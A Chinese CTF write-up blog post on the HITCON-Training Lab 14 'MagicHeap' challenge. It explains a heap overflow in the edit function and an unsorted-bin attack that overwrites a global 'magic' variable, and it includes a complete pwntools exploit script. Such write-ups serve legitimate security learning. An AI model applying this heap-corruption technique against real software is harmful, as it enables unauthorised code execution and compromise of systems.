首页 > 其他分享 >【HITCON-Training】Lab 14 - MagicHeap

【HITCON-Training】Lab 14 - MagicHeap

时间:2024-10-03 14:11:11浏览次数:7  
标签:Training magic 14 edit add sh str sendlineafter MagicHeap

学习于2024-10-03 12:50:42 星期四

心得感想:

分析

ida一打开就看到很明显的提示(毕竟是教学关卡):
image
那么我们需要将magic修改为一个大于0x1305的数,并且该程序没有开PIE,那么magic地址就是固定的。
Delete操作删的非常彻底,很明显这里没有任何可以利用的:
image
Create部分看起也没有任何问题。
接下来看edit部分:
image
虽然难一点的题我做不出来,但是这也太明显了(把人当傻子了,谁家edit还给你改一遍自定义大小的),不过HITCON这个本来就是training,我只是想看一些我没见过的隐蔽点的漏洞点...

思路

其实已经很明显了,存在堆溢出,那么我就可以修改下一个堆的任何内容。那我直接把unsorted bin里面的bk指针修改为magic-2的位置,那么在释放unsorted bin的时候,就会执行BK->fd=fd的操作,而BK->fd实际上就是+2指针字长(64位是0x8,即加上0x10),因为我们提前magic-2了,所以写入的位置就是magic。

过程

先查看要覆盖多少个字节(记得换个libc,没有tcache的那种)

image
看起来到bk是8个字长:
image
修改成这样吧:
image

再次调用启动unsorted分配即可成功

image

源码

点击查看代码
from pwn import *
#  sh=gdb.debug("./magicheap","break *0x400931")
sh=process("./magicheap")
context.log_level="DEBUG"
context.terminal=["tmux","new-window"]

def dbg():
    gdb.attach(sh)
    pause()
def add(length,content="0"):
    sh.sendlineafter(":","1")
    sh.sendlineafter(":",str(length))
    sh.sendlineafter(":",content)
def edit(index,size,content):
    sh.sendlineafter(":","2")
    sh.sendlineafter(":",str(index))
    sh.sendlineafter(":",str(size))
    sh.sendlineafter(":",content)
def remove(index):
    sh.sendlineafter(":","3")
    sh.sendlineafter(":",str(index))

add(0x20)
add(0x80)
add(0x20) #don't combinate with TOP chunk
remove(1)

magic=0x6020c0
payload=b"a"*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)
edit(0,0x40,payload)
add(0x80)
sh.sendlineafter(":",str(4869))
sh.interactive()

标签:Training,magic,14,edit,add,sh,str,sendlineafter,MagicHeap
From: https://www.cnblogs.com/muyiGin/p/18445656

相关文章

  • 【HITCON-Training】Lab 12 - SecretGarden
    学习于2024-10-0122:00:17星期二心得感想:这次真的把我整笑了,现在是10/2的晚上23点,我都不敢想象自己弄了多久(整整两天国庆的下午......
  • 题解:CF2014D Robert Hood and Mrs Hood
    差分,每次差分将\(\max(1,l-d+1)\)加\(1\),将\(r+1\)位置减\(1\)。然后前缀和求原数组,再遍历一下求最小值和最大值即可。代码:#include<bits/stdc++.h>usingnamespacestd;intmain(){ intt; cin>>t; while(t--){ intn,d,k; cin>>n>>d>>k;......
  • 题解:CF2014C Robin Hood in Town
    分享一种二分答案做法。先特判\(n=1\),\(n=2\),开始就有超过一半的人不高兴的情况。然后二分\(x\),计算新的和,新的平均值,如果有超过一半的人不高兴,就更新答案。代码:#include<bits/stdc++.h>usingnamespacestd;intmain(){ intt; cin>>t; while(t--){ intn; cin>>n......
  • 题解:SP23875 DCEPC14A - Another Version of Inversion
    我们注意到这道题是二维的,所以要用到二维树状数组,不会的可以看一下这篇文章。这题的思路和P1908很像,按价值从大到小排序,排完序之后用树状数组维护,每次把这个数的位置加入到树状数组中,因为是排完序之后,所以之前加入的一定比后加入的大,然后在查询当前这个数前面位置的数(是前面位......
  • 南沙C++信奥赛陈老师解一本通题 1966:【14NOIP普及组】比例简化
    ​ 【题目描述】在社交媒体上,经常会看到针对某一个观点同意与否的民意调查以及结果。例如,对某一观点表示支持的有1498人,反对的有902人,那么赞同与反对的比例可以简单的记为1498:902。不过,如果把调查结果就以这种方式呈现出来,大多数人肯定不会满意。因为这个比例的数值太大......
  • [LeetCode] 1497. Check If Array Pairs Are Divisible by k
    Givenanarrayofintegersarrofevenlengthnandanintegerk.Wewanttodividethearrayintoexactlyn/2pairssuchthatthesumofeachpairisdivisiblebyk.ReturntrueIfyoucanfindawaytodothatorfalseotherwise.Example1:Input:arr......
  • CS3214 Customizable Shell
    CS3214FProject1-“CustomizableShell”DueDate: Seewebsiteforduedate(Latedaysmaybeused.)Thisprojectmustbedoneingroupsof2students.Self-selectedgroupsmusthaveregis-teredusingthegrouperapp(URL).Otherwise,apartnerwillbea......
  • Codeforces2014E Rendez-vous de Marian et Robin(分层图最短路)
    题意给定一个无向图,含有\(n\)个点和\(m\)条边。题解点击查看代码#include<bits/stdc++.h>usingnamespacestd;usingi64=longlong;constexpri64inf=1e18;voidsolve(){intn,m,h;cin>>n>>m>>h;vector<vector<......
  • 14_初步解析document的核心元数据以及图解剖析index创建反例
    1、_index元数据2、_type元数据3、_id元数据{"_index":"test_index","_type":"test_type","_id":"1","_version":1,"found":true,"_source":{"test_content":&quo......
  • CF1214G Feeling Good 题解
    题目链接点击打开链接题目解法我真菜啊,感觉每一步都不难,但一步都没想到/yun考虑两行\(x,y\)什么时候可以构造出合法的矩形?即\(x\)中需要有\(y\)对应位置为\(0\)的\(1\),\(y\)中需要有\(x\)对应位置为\(0\)的\(1\)归纳一下,\(x\)不是\(y\)的子集且\(y\)不......